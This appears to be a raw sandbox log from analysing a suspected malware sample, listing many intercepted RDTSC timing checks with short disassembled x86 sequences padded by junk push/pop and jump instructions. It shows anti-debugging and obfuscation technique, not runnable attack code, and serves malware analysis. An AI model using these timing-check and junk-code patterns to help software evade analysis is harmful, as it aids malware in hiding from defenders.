Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFBB6 second address: 5EFBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFBC7 second address: 5EFBCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFBCC second address: 5EFBD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F002E second address: 5F0032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0727 second address: 5F072D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F072D second address: 5F0731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0731 second address: 5F07A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D2B76h], edx 0x00000014 mov edx, dword ptr [ebp+122D36D6h] 0x0000001a lea eax, dword ptr [ebp+1248134Fh] 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007F768920F558h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a jnc 00007F768920F55Bh 0x00000040 nop 0x00000041 pushad 0x00000042 pushad 0x00000043 jmp 00007F768920F564h 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F07A1 second address: 5F07AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F07AA second address: 5F0827 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F768920F556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F768920F567h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F768920F558h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c push edx 0x0000002d jmp 00007F768920F563h 0x00000032 pop ecx 0x00000033 lea eax, dword ptr [ebp+1248130Bh] 0x00000039 jng 00007F768920F55Bh 0x0000003f add dx, 80C1h 0x00000044 push eax 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F768920F55Fh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0827 second address: 5F082B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F082B second address: 5F0835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0835 second address: 5F0839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0839 second address: 5DA041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, dword ptr [ebp+122D3696h] 0x00000010 call dword ptr [ebp+122D2BD2h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F768920F562h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6369C5 second address: 636A09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b jno 00007F7689489CA6h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F7689489CB4h 0x0000001a jnl 00007F7689489CA6h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636A09 second address: 636A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636A12 second address: 636A1D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63715D second address: 637187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F768920F565h 0x0000000b popad 0x0000000c push esi 0x0000000d push ecx 0x0000000e jng 00007F768920F556h 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6372CD second address: 6372D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6372D1 second address: 6372D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6372D7 second address: 6372E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F7689489CA6h 0x0000000a jl 00007F7689489CA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AAB46 second address: 5AAB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DCA3 second address: 63DCAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6412FA second address: 64131B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F768920F556h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F768920F565h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6414A6 second address: 6414AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6414AC second address: 6414D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F768920F563h 0x00000009 popad 0x0000000a jmp 00007F768920F55Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6414D1 second address: 6414EE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F7689489CA6h 0x0000000b pop esi 0x0000000c push ebx 0x0000000d ja 00007F7689489CA6h 0x00000013 pop ebx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6414EE second address: 6414F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6414F2 second address: 64152B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7689489CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F7689489CB6h 0x00000011 pushad 0x00000012 je 00007F7689489CA6h 0x00000018 jne 00007F7689489CA6h 0x0000001e jns 00007F7689489CA6h 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6417DD second address: 6417F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F768920F556h 0x00000009 ja 00007F768920F556h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644C70 second address: 644C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644DF1 second address: 644E11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F565h 0x00000007 pushad 0x00000008 jnp 00007F768920F556h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644F58 second address: 644F63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644F63 second address: 644F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F768920F566h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F768920F556h 0x00000014 js 00007F768920F556h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645115 second address: 64511B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C05C second address: 64C060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C060 second address: 64C064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C064 second address: 64C07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F768920F55Eh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jno 00007F768920F556h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A985 second address: 64A998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7689489CAFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A998 second address: 64A9AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F55Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AAED second address: 64AAF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AAF1 second address: 64AAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B197 second address: 64B1C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7689489CB5h 0x0000000b jmp 00007F7689489CB1h 0x00000010 popad 0x00000011 push esi 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B328 second address: 64B32D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B32D second address: 64B348 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65199B second address: 6519B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 js 00007F768920F590h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F768920F55Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651E27 second address: 651E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651E2D second address: 651E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65242D second address: 652444 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7689489CAEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a js 00007F7689489CA6h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652444 second address: 652448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653253 second address: 653258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653518 second address: 653536 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F768920F568h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653536 second address: 65357E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CB6h 0x00000007 pushad 0x00000008 jno 00007F7689489CA6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 jnp 00007F7689489CA6h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a push esi 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F7689489CB6h 0x00000022 pop esi 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657266 second address: 65726B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A488 second address: 65A48C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A48C second address: 65A492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A492 second address: 65A498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A498 second address: 65A4BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007F768920F556h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jmp 00007F768920F565h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A62D second address: 65A646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F7689489CA6h 0x00000009 jmp 00007F7689489CAEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A646 second address: 65A64C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A64C second address: 65A655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A655 second address: 65A65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A65B second address: 65A678 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AEFC second address: 65AF21 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F768920F566h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007F768920F556h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AF21 second address: 65AF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AF2A second address: 65AF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F768920F55Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669563 second address: 669567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6676BE second address: 6676C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667C95 second address: 667C9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667C9B second address: 667CA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667E4D second address: 667E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7689489CA6h 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7689489CABh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667E66 second address: 667E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667E6C second address: 667E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7689489CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667E76 second address: 667E86 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F768920F556h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6682F8 second address: 6682FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C6AF second address: 66C6BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C6BD second address: 66C6D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7689489CAFh 0x00000009 ja 00007F7689489CA6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C6D6 second address: 66C6DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C6DA second address: 66C6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F7689489CB0h 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D8DA second address: 67D8DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DA3E second address: 67DA44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DA44 second address: 67DA4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DA4A second address: 67DA50 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DA50 second address: 67DA6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jl 00007F768920F556h 0x00000010 jne 00007F768920F556h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DA6F second address: 67DA73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68007F second address: 680083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FFFF second address: 69000A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6934E1 second address: 6934F1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F768920F556h 0x00000008 jo 00007F768920F556h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6934F1 second address: 6934F6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6934F6 second address: 693520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F768920F55Bh 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F768920F568h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693520 second address: 693524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698AD1 second address: 698AD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698AD5 second address: 698ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698F38 second address: 698F3E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6991B0 second address: 6991CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CAEh 0x00000007 jnl 00007F7689489CA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6991CB second address: 6991D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6991D2 second address: 6991DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F7689489CA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6991DE second address: 6991E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
